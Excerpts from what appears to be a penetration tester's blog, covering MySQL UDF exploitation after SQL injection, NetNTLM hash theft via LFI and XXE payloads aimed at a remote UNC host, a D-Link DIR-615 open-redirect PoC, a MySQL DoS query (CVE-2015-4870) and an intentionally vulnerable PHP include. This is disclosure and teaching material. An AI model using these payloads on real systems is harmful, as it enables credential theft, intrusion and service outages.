MySQL UDF Exploitation

Overview

In the real world, while I was pentesting a financial institute I came across a scenario where they had an internal intranet and it was using MySQL 5.7 64-bit as the backend database technology. Most of the time the I encounter MSSQL in most cooperate environments, but this was a rare case. I found SQL injection in the web application and I was able to dump the username and password from the mysql.user and I realized it had privileges to write files to disk. This lead me into writing a post and sharing techniques in injecting a UDF library to MySQL and gaining code execution and popping a shell in Windows. When I Googled most techniques are a bit vague when it comes to Windows. So, I thought of writing this post with my own research to clear things and make you understand few tricks you can use to do this manually.

I will be hosting the latest MySQL 5.7.21 latest community server by the time I am blogging this, in one machine. To reproduce the scenario, I am running the mysqld server with ‘–secure-file-priv=’ parameter set to blank. In this scenario I was able to retrieve the username and password from the mysql.user table using a union based injection in the intranet. Note that in MySQL 5.7 and above the column ‘password’ doesn’t exists. They have changed it to ‘authentication_string’.

# MySQL 5.6 and below
select host, user, password from mysql.user;
# MySQL 5.7 and above
select host, user, authentication_string from mysql.user;

Note that you can use the metasploit’s mysql_hashdump.rb auxiliary module to dump the MySQL hashes if you already have the credentials. By the time I am writing this blog post the script needed to be updated to extract in MySQL 5.7 you can check my pull request here

The host column for the user ‘osanda’ allows connections from 192.168.0.*, which means we can use this user for remote connections from that IP range. I cracked password hash and got the plain text password.
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Places of Interest in Stealing NetNTLM Hashes

One day me and @m3g9tr0n was discussing different places where we can use responder in stealing NetNTLM hashes. After experimenting I thought of writing this post along with some cool findings in the world of Windows. SMBRelay attacks are also possible in these scenarios.

LFI

The include() in PHP will resolve the network path for us.

http://host.tld/?page=//11.22.33.44/@OsandaMalith

XXE

In here I’m using “php://filter/convert.base64-encode/resource=” that will resolve a network path.

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=//11.22.33.44/@OsandaMalith" >
]>
<root>
  <name></name>
  <tel></tel>
  <email>OUT&xxe;OUT</email>
  <password></password>
</root>


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D-Link DIR-615 Open Redirection and XSS

D-Link DIR-615
Hardware Version: E3
Firmware Version: 5.10

The ‘apply.cgi’ file was vulnerable to Open Redirection and XSS. Inside the router many other cgi files too use this functionality in ‘apply.cgi’. For example the ‘ping_response.cgi’ file.

Open Redirection

apply.cgi

<html>
<!-- @OsandaMalith -->
  <body>
    <form action="http://192.168.0.1/apply.cgi" method="POST" id="exploit">
      <input type="hidden" name="html_response_page" value="https://google.lk" />
      <input type="hidden" name="html_response_return_page" value="tools_vct.asp" />
    <img src=x onerror="exploit.submit()"/>
    </form>
  </body>
</html>

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My Journey into eCPPT

This course covers lots of areas in the field of penetration testing. I like the content since it covers good theory as well. They have included new sections such as Ruby and Wi-Fi. The content is very up to date. The exam was more realistic and not CTF based. I’m not going to write a complete review, but I would recommend this course for anyone who wants to enter the field of penetration testing or existing people. Always there’s something to new to learn from any course 😉

ecppt

MySQL DoS in the Procedure Analyse Function – CVE-2015-4870

This is a crash I found in MySQL versions up to 5.5.45. In the function procedure analyse() I found this crash while passing a sub query.

Syntax:

 
SELECT * FROM `table_name` PROCEDURE ANALYSE((SELECT*FROM(SELECT 1)x),1);

So an Example POC would be:

 
select * from information_schema.tables procedure analyse((select*from(select 1)x),1);
 
---------------------------------------------------------------------------------------------------------------
mysql> select * from information_schema.tables procedure analyse((select*from(select 1)x),1);
ERROR 2013 (HY000): Lost connection to MySQL server during query
mysql>
mysql> select 1;
ERROR 2006 (HY000): MySQL server has gone away
No connection. Trying to reconnect...
ERROR 2003 (HY000): Can't connect to MySQL server on 'localhost' (10061)
ERROR:
Can't connect to the server

mysql>
---------------------------------------------------------------------------------------------------------------


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Magic Folder Hide

This is a application which I coded in last year but I have forgotten to make a blog post. Using this tool you can create a ‘..’ folder in Windows and store your data inside it. No one can access your files using the explorer since the path is not valid, they can only see the name 🙂

This trick can be used in pentesting and is widely used by malware for hiding other malicious files. I coded this tool just for fun 😀


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LFi Freak – An Automated File Inclusion Exploiter

I am sure you know about exploiting file inclusion vulnerabilities. In file inclusion situations in common we can read files arbitrarily in the system or remotely depending on the permissions. In PHP environments commonly we poison the log files or inject malicious PHP into the user agent header and load the “/proc/self/environ” file. However when we encounter file inclusion situations in PHP environments we can use the in-built PHP wrappers to make our exploitations much easier or perhaps bypass existing filters.

There are lot of LFI exploitation tools available but I’ve written this tool mainly focusing on the usage of “php://input”, “php://filter” and “data://” methods.  Even though the title explicitly conveys “LFI Freak” this can be used for RFI vulnerabilities as well. This tool is written in Python 2.7 and I have included binaries for both Windows and Linux systems. If you are running from the source or want to modify this, you need the BeautifulSoup library.

Here is a small walkthrough of the features of the tool.

To test for local or remote file inclusions you can use the option one “Automated testing”. I am using DVWA in here. To test this tool create a small vulnerable file.

<?php
	echo "File included: ".$_REQUEST["page"]."<br>";
	$file =  $_REQUEST["page"];
	include $file;
?>

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